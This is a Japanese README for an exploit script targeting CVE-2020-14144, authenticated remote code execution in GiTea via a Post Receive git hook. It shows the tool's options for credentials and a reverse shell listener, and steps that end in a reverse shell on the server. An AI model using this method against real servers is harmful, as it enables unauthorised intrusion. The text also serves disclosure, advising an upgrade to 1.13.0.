
CVE-2020-14144を悪用するスクリプト - git hooksを使用したGiTeaの認証済みリモートコード実行
gitフックを使用してCVE-2020-14144 - GiTea認証済みリモートコード実行を悪用するスクリプト
-f オプションでリモート実行$ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h
_____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
usage: CVE-2020-14144-GiTea-git-hooks-rce.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]
CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increase verbosity.
-t TARGET, --target TARGET
Target host (http://..., https://... or domain name)
-u USERNAME, --username USERNAME
GiTea username
-p PASSWORD, --password PASSWORD
GiTea password
-I REV_IP, --rev-ip REV_IP
Reverse shell listener IP
-P REV_PORT, --rev-port REV_PORT
Reverse shell listener port
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
Path to shell script payload to use.
この脆弱性/機能を正常に悪用するには、対象サーバーのGiTeaバージョンがバージョン1.1.0から1.13の間である必要があり、"May create git hooks" 権限が有効なアカウント(ユーザー名、パスワード)が必要です。

システム管理の観点から見ると、悪用前のgiteaプロセスは次のようになります:

まず、自分のアカウントを使用してGiTea Webインターフェース上にリポジトリを作成します。リポジトリを作成したら、Settings -> Git Hooks -> Post Receive Hook に移動します。このフックには、新しいコミットを受信した後に実行されるシェルスクリプトを記述できます。

次に、攻撃マシン上に一時ディレクトリを作成し、リモートリポジトリにプッシュします。これにより、Post Receive Hook スクリプトがトリガーされます。
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master
コミットをリモートリポジトリにプッシュすると、Post Receive Hook スクリプトがトリガーされ、リバースシェルを取得できます!

悪用後、システム管理者はGiTeaの子プロセス内で、私たちの切り離されたリバースシェルを簡単に確認できます:

少なくともバージョン1.13.0に更新することをお勧めします。
プルリクエストは歓迎します。他の機能を追加したい場合は、お気軽にissueを開いてください。